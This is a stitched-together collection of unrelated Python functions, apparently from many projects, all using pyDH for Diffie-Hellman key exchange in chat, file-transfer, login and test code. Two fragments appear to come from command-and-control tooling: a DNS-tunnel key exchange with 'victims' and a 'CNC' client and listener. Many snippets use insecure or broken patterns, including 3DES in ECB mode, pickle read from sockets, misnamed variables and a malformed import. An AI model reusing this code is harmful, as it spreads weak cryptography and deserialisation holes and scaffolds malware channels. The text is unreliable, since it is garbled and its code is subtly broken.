def test_pydh_keygen():
d1 = pyDH.DiffieHellman()
d2 = pyDH.DiffieHellman()
d1_pubkey = d1.gen_public_key()
d2_pubkey = d2.gen_public_key()
d1_sharedkey = d1.gen_shared_key(d2_pubkey)
d2_sharedkey = d2.gen_shared_key(d1_pubkey)
assert d1_sharedkey == d2_sharedkey
def msg_peer(peer_port, header, msg, isFile):
peer_ip = socket.gethostname()
peer_info = (peer_ip, int(peer_port))
server_peer = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_peer.connect(peer_info)
#key for symmetric key encryption
if isFile == False:
msgtype = "text"
server_peer.send(msgtype.encode())
#Encrypting Message
DH1 = pyDH.DiffieHellman(username)
DH1_publickey = DH1.gen_public_key()
server_peer.send(bytes(str(DH1_publickey), 'utf-8'))
F_publickey = server_peer.recv(1024).decode("utf-8")
DH1_secretkey = DH1.gen_shared_key(int(F_publickey))
msg = pad(msg)
cipher = DES3.new(str(DH1_secretkey)[0:24], DES3.MODE_ECB)
encrypted_msg = cipher.encrypt(msg.encode("utf-8"))
server_peer.send(encrypted_msg)
else:
msgtype = "file"
server_peer.send(msgtype.encode())
server_peer.send(header)
DH1 = pyDH.DiffieHellman(username)
DH1_publickey = DH1.gen_public_key()
server_peer.send(bytes(str(DH1_publickey), 'utf-8'))
F_publickey = server_peer.recv(1024).decode("utf-8")
DH1_secretkey = DH1.gen_shared_key(int(F_publickey))
cipher = DES3.new(str(DH1_secretkey)[0:24], DES3.MODE_ECB)
try:
fin = open(msg, "rb")
content = fin.read(1024)
content = pad_file(content)
while content:
content = cipher.encrypt(content)
server_peer.send(content)
content = fin.read(1024)
if (content):
content = pad_file(content)
fin.close()
except FileNotFoundError:
content = 'unsuccessfull recieve :(\n'
#msg_peer(portno,header,content,isFile)
print("File not found on device...")
server_peer.send(content)
# server_peer.send(msg)
server_peer.close()
def __init__(self, conn):
self.DH = pyDH.DiffieHellman(group=14)
self.DH_generator = self.DH.g
self.DH_prime = self.DH.p
self.DH_private = self.DH.get_private_key()
self.DH_public = self.DH.gen_public_key()
self.conn = conn
def handle_dh_contribution(self, meta_payload):
"""
Attempt to create symmetric key with partner's DH contribution. Message validity
is checked in calling function (recv_dh_contribution)
Two scenarios:
(1) I initiated a connection: My DH fields should NOT be empty since I generated
DH parameters. Create symmetric key with received partner's DH contribution
(2) I received a connection: My DH fields should be empty. Generate my DH
temp_priv_key and temp_pub_key with the received DH parameters. Create symmetric
key with received partner's DH contribution.
:param meta_payload: bson (decrypted and decoded)
:return True if successful symmetric key was generated, False otherwise
"""
try:
partner_temp_pub = int(meta_payload['payload']['dh_contribution'])
if self.dh is None:
self.dh = pyDH.DiffieHellman()
self.symmetric_key = AESGCM(
bytes.fromhex(self.dh.gen_shared_key(partner_temp_pub)))
return True
except Exception as e:
print(e)
return False
def login(socket):
try:
username = raw_input("Please Enter Username\n")
send_message_to_server('REQ_TO_BE_AUTHENTICATED', username, "", socket)
message_from_server, username = respond_to_server_cookie(
socket, username)
# compute g Client part of DH key and send it to server
password = raw_input("Please Enter the password\n")
d1 = pyDH.DiffieHellman(5)
d1_pubkey = d1.gen_public_key()
encrypted_password = encrypt_with_asymmetric_key(
s_public_key, password)
nonce = os.urandom(16)
password_message_dict = {
'password': encrypted_password,
'DH-KEY-C': d1_pubkey,
'Nonce': nonce
}
send_message_to_server('PASSWORD', username, password_message_dict,
socket)
server_dh_key = wait_to_be_authenticated(socket, username, d1_pubkey,
nonce)
session_key = d1.gen_shared_key(server_dh_key)
return (socket, username, session_key, nonce)
except:
print "Error while logging in\n"
return socket
def create_group_request(self, name):
"""
Request format: (ID, E(k_temp, ("/create_group", "name of the group" ,ticket)))
Response format: E(k_temp, (group_id,"name of the group"))
The dictionary self.group_members is updated with the the list
self.group_members[group_id] = [self.id]
After successful group creation a dpyDH.DiffieHellmanh is
saved in self.groups as {<grp_id>: private_key}
this key will be used for df key exchange.
After DH key exchange the final key is saved in
self.group_keys dictionary
"""
self.s_CHAT = socket.socket()
self.s_CHAT.connect((self.chat_server_ip, self.chat_server_port))
inner_packet = ("/create_group", name, self.ticket)
inner_packet_enc = self.encrypt(self.K_temp, inner_packet)
outer_packet = (self.id, inner_packet_enc)
self.s_CHAT.send(pickle.dumps(outer_packet))
response = self.s_CHAT.recv(4096)
response_dec = self.decrypt(self.K_temp, response)
print("Group with id:", response_dec[0], "and name:", response_dec[1],
"is created")
grp_id = int(response_dec[0])
self.group_members[grp_id] = [self.id]
self.groups[grp_id] = pyDH.DiffieHellman()
self.disconnect()
def gen_key_set():
"""
Generating public and private keys for DH
:return: private_key, public_key
"""
private_key = pyDH.DiffieHellman()
public_key = private_key.gen_public_key()
return private_key, public_key
def get_handshake_shared(self):
print("- Testing get_handshake_shared... ", end="")
c = Crypt("")
dh = pyDH.DiffieHellman(GROUP)
c_pub = c.gen_handshake_pub()
assert c.get_handshake_shared(
dh.gen_public_key()) == dh.gen_shared_key(
c.gen_handshake_pub())
print("Passed")
def client_contribution():
"""
Makes DH-object for client to generate shared key
:return: client: DF object (for client)
:return: client_pubkey (for server)
"""
client = pyDH.DiffieHellman()
client_contribution = client.gen_public_key()
return client, client_contribution
def diffieHellmanKeyExchangeCalculations(serverDHPublicKey):
# Generating session key
sessionKey = pyDH.DiffieHellman(5).gen_shared_key(serverDHPublicKey)
print("SESS")
print(sessionKey)
# Hashing the session key to be a AES 256-bit session key
AESSessionKey = sha256(sessionKey.encode()).digest()
# Returning the value of AES Session Key
return AESSessionKey
def key_exchange(self):
c = pyDH.DiffieHellman() #client
s = pyDH.DiffieHellman() #server
self.C_PUBKEY = c.gen_public_key() #global variable
self.S_PUBKEY = s.gen_public_key() #global variable
#client sends their public key to server
self.s.send(str(self.C_PUBKEY).encode("ISO-8859-1"))
c_pubkey = self.s.recv(SEND_BUFFER_SIZE)
#server sends their public key to client
self.s.send(str(self.S_PUBKEY).encode("ISO-8859-1"))
s_pubkey = self.s.recv(SEND_BUFFER_SIZE)
#generate shared keys using what they received from each other
self.C_SHAREDKEY = c.gen_shared_key(int(s_pubkey.decode("ISO-8859-1")))
self.S_SHAREDKEY = s.gen_shared_key(int(c_pubkey.decode("ISO-8859-1")))
def g_file_admin_request(ownerid, password):
import rpyc
c = rpyc.connect('localhost',50001)
with open('.wrapCloud/userid/local/userid','w') as f:
userid = f.read()
import pyDHwith
d1 = pyDH.DiffieHellman()
key = d1.gen_public_key()
[nonce,keyy] = c.root.file_admin_request(userid, hashlib.sha256(password).digest(),key)
shared_key = d1.gen_shared_key(key)
return [nonce,share_key]
def exchange_shared_key(self, broker, reply_topic, other_pub=None):
dh = pyDH.DiffieHellman(16)
if other_pub != None:
publish.single(reply_topic, dh.gen_public_key, hostname=broker)
return dh.gen_shared_key(other_pub)
else:
publish.single(reply_topic, dh.gen_public_key, hostname=broker)
o_pub = subscribe.simple(reply_topic, hostname=broker)
return dh.gen_shared_key(o_pub)
def server_contribution(clients_contribution):
"""
Makes DH-object for server to generate shared key (given client_contribution)
:param clients_contribution
:return: shared key (for server)
:return: server_contribution (for client)
"""
server = pyDH.DiffieHellman()
server_contribution = server.gen_public_key()
shared_key = server.gen_shared_key(clients_contribution)
return shared_key, server_contribution
def __init__(self):
global dh, dh_pubkey
dh = pyDH.DiffieHellman()
dh_pubkey = dh.gen_public_key()
rl0 = Regular_Listener("0.0.0.0", 444)
rl0.start()
self.PORTLIST = [25, 21, 80]
listeners = [TCP_Listener("0.0.0.0", port) for port in self.PORTLIST]
for listener in listeners:
listener.start()
def __init__(self):
try:
self.dh = pyDH.DiffieHellman()
self.private_key = self.dh.get_private_key()
self.public_key = self.dh.gen_public_key()
self.shared_key = None
self.init_shared_key()
except ValueError as e:
print("Cannot initialized")
return
def connect(self, ip, port):
super().connect(ip, port)
self.__dh = pyDH.DiffieHellman()
self.__public = self.__dh.gen_public_key()
super().send(str(self.__public))
peer_key = int(super().recvfrom())
self.__shared = self.__dh.gen_shared_key(peer_key).encode()
self.__shared = base64.urlsafe_b64encode(self.__shared)
self.__encrypter = Fernet(self.__shared)
def diffiehellman(conn):
me = pyDH.DiffieHellman()
my_pubkey = me.gen_public_key()
# print(my_pubkey)
conn.send(long_to_bytes(my_pubkey))
their_pubkey = bytes_to_long(conn.recv(4096))
sharedkey = me.gen_shared_key(their_pubkey)
# print(sharedkey.encode())
# sharedkey = SHA256.new(sharedkey.encode()).digest()
return sharedkey
def __init__(self, name):
threading.Thread.__init__(self)
self.name = name
self.sockIn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sockOut = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.exitOR = None
self.isConnected = False
self.recvCell = None
# generate DH instance
self.dh = pyDH.DiffieHellman(5)
self.pubKey = self.dh.gen_public_key()
self.sharedKey = []
def share_key(self, root):
invokerUid = os.getuid()
d2 = pyDH.DiffieHellman()
d2_key = d2.gen_public_key()
self._unprivilegedProcessPipeEnd.send(d2_key)
d1_key = self._unprivilegedProcessPipeEnd.recv()
shared_key = d2.gen_shared_key(d1_key)
g = GroupService(self._unprivilegedProcessPipeEnd, shared_key, root)
from rpyc.utils.server import ThreadedServer
t = ThreadedServer(g, port=50001)
t.start()
def get_pwd_key(self):
print("- Testing get_pwd_key... ", end="")
c = Crypt("test_password")
dh = pyDH.DiffieHellman(GROUP)
dh_pub = dh.gen_public_key()
c_pub = c.gen_handshake_pub()
priv_key = b2a_base64(unhexlify(dh.gen_shared_key(c_pub)))
assert priv_key == b2a_base64(
unhexlify(c.get_handshake_shared(dh_pub)))
assert c._pwd_key == Fernet(priv_key).decrypt(
c.get_handshake_pwd_key(dh_pub))
print("Passed")
def recvfrom_noblock(self):
result = super().recvfrom_noblock()
if result != None and self.__peer == None:
self.__peer = int(result)
self.__dh = pyDH.DiffieHellman()
self.__public = self.__dh.gen_public_key()
self.__shared = int(self.__dh.gen_shared_key(
self.__peer)).to_bytes(32, 'big')
self.__encrypter = Fernet(self.__shared)
return None
return result
def __init__(self, pwd):
"""
pwd: string password
"""
self._dh = pyDH.DiffieHellman(GROUP)
self._pwd_key = Fernet.generate_key()
self._sess_key = Fernet.generate_key()
self._sess_crypt = Fernet(self._sess_key)
self._pwd_hash = Fernet(self._pwd_key).encrypt(bytes(pwd, "utf-8"))
# used when the password, and diffie-hellman private keys are updated
self._dh_lock = threading.Lock()
self._pwd_lock = threading.Lock()
def exposed_file_admin_request(self, admin_id, password, keyy):
# send the nonce to be used while file upload
password = hashlib.sha256(str(password)).digest()
if self.authenticated_users[admin_id] != password:
return 'wrong password'
d2 = pyDH.DiffieHellman()
key = d2.gen_public_key()
try:
shared_key = d2.gen_shared_key(keyy)
except:
return 'use appropriate keys'
nonce = os.urandom(12)
self.admin_keys[admin_id] = shared_key
self.nonce[admin_id] = nonce
return [nonce, key]
def __init__(self, IP):
self.dh = pyDH.DiffieHellman()
self.dh_pubkey = self.dh.gen_public_key()
self.CNC = IP
self.CNC_regular_port = 444
self.PORTLIST = [25, 21, 80]
self.RECEIVER_DH_PUB_KEY = None
self.send_msg(1, self.dh_pubkey.to_bytes(256, 'big'))
msg_type, result = TCP_Listener.get_next_message()
if msg_type == 1:
self.RECEIVER_DH_PUB_KEY = result
else:
exit()
self.dh_sharedkey = self.dh.gen_shared_key(self.RECEIVER_DH_PUB_KEY)
print(self.dh_sharedkey)
time.sleep(0.1)
def deffie(c):
d1_pubkey = c.recv(1024)
d1_pubkey = pickle.loads(d1_pubkey)
d1_pubkey = d1_pubkey.pubkey
print(d1_pubkey)
# d1_pubkey.decode("utf-8")
d2 = pyDH.DiffieHellman()
d2_pubkey = d2.gen_public_key()
d2_pubkey = str(d2_pubkey)
c.send(d2_pubkey.encode())
d1_pubkey = int(d1_pubkey)
d2_sharedkey = d2.gen_shared_key(d1_pubkey)
print(d2_sharedkey)
return d2_sharedkey
def send_dh_contribution(self):
"""
Send my Diffie-Hellman contribution to my partner.
Two scenarios:
(1) I initiated a connection: I am generating DH parameters and sending my DH
contribution
(2) I received a connection: I received DH parameters and I'm sending my DH
contribution
Payload includes my temporary DH "public key" (basically my DH contribution) and
DH parameters if initiating connection. Payload is added to the meta_payload
bson, which contains metadata about the payload. The meta_payload is dumped,
encoded, signed and added to the message bson. The generated signature is added
to the message bson. The message is dumped and encoded then sent to the partner.
"""
payload = dict()
if self.dh is None:
self.dh = pyDH.DiffieHellman()
payload['dh_contribution'] = str(self.dh.gen_public_key())
meta_payload = dict()
meta_payload['type'] = "dh_contribution"
nonce = self.rng(8)
meta_payload['new_nonce'] = nonce
self.sent_nonce = nonce
meta_payload['prev_nonce'] = self.partner_nonce
meta_payload['payload'] = payload
meta_payload['timestamp'] = int(time.time())
message = dict()
message["meta_payload"] = bson.dumps(meta_payload)
sig = self.priv_key.sign(
message["meta_payload"],
padding.PSS(mgf=padding.MGF1(hashes.SHA256()),
salt_length=padding.PSS.MAX_LENGTH), hashes.SHA256())
message["signature"] = sig
message_bytes = bson.dumps(message)
self.s.sendall(message_bytes)
self.advance_state()
def connect_to_peer(args, connection_packet):
print "connecting to peer"
global Peer_Nonce
global DH_PRIV
global DH_PUB
# {Kab || Ns ||TGT(bob)}bmk || {Na}Kab
pack = connection_packet['connection']
name = pack['peer'][0]
addr = pack['peer'][1]['ADDRESS']
PEER_LIST[name] = {'ADDRESS': addr}
# print name
# print addr
# print addr[0]
# print addr[1]
new_peer_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
new_peer_socket.settimeout(2)
# connect to peer server
try:
new_peer_socket.connect((addr[0], addr[1]))
except:
print 'Unable to connect'
#sys.exit()
print "passing on packet"
Peer_Nonce = random.randint(0, 65535)
forwarded_message = {'return_to_server': pack['peer_packet']}
forwarded_message['peer'] = args.user
forwarded_message['Na'] = Peer_Nonce
#der format
DH_PRIV = pyDH.DiffieHellman()
DH_PUB = DH_PRIV.gen_public_key()
forwarded_message['g^a mod p'] = DH_PUB
encryption_prep = pickle.dumps(forwarded_message).encode(
'base64', 'strict')
pickle_barrel = pickle.dumps({
'peer': encryption_prep
}).encode('base64', 'strict')
new_peer_socket.send(pickle_barrel)
SOCKET_LIST.append(new_peer_socket)
PEER_SOCKETS[name] = new_peer_socket
def key_exchange1(request: DNSQR, identify: bytes,
bytes_victim_dh_pubkey: bytes):
"""
Start key exchanging with the connected victim:
generate the public & shared key, encrypting & decrypting functions.
send the public key to victim.
:param request: the DNSQR paket from victim
:param identify: victim identify number
:param bytes_victim_dh_pubkey: victim public key
"""
victim_dh_pubkey: int = int.from_bytes(bytes_victim_dh_pubkey, 'little')
dh = pyDH.DiffieHellman()
pubkey: int = dh.gen_public_key()
shared_key: bytes = dh.gen_shared_key(victim_dh_pubkey).encode()
server_pubkey_response = build_response(identify,
SERVER_COMMANDS['keyExchange2'],
pubkey.to_bytes(256, 'little'))
send_response(request, server_pubkey_response)
connected_victims[identify] = [shared_key]
def clientFunction(clientsocket):
sharedKeyGlobal = []
fileNameGloabal = []
keyToEncrypt = []
cipher_encrypt = []
d1 = pyDH.DiffieHellman()
print(f"Connection from {address} has been established")
client_handle(clientsocket, address, sharedKeyGlobal, fileNameGloabal,
keyToEncrypt, cipher_encrypt, d1)
while True:
full_msg = ''
msg = clientsocket.recv(1022)
if len(msg) <= 0:
break
full_msg += msg.decode("utf-8")
print(full_msg)
opCodeVerify = int(full_msg[4:6])
opCodeAction(opCodeVerify, full_msg, clientsocket, sharedKeyGlobal,
fileNameGloabal, keyToEncrypt, cipher_encrypt, d1)
print(opCodeVerify)
clientsocket.close()
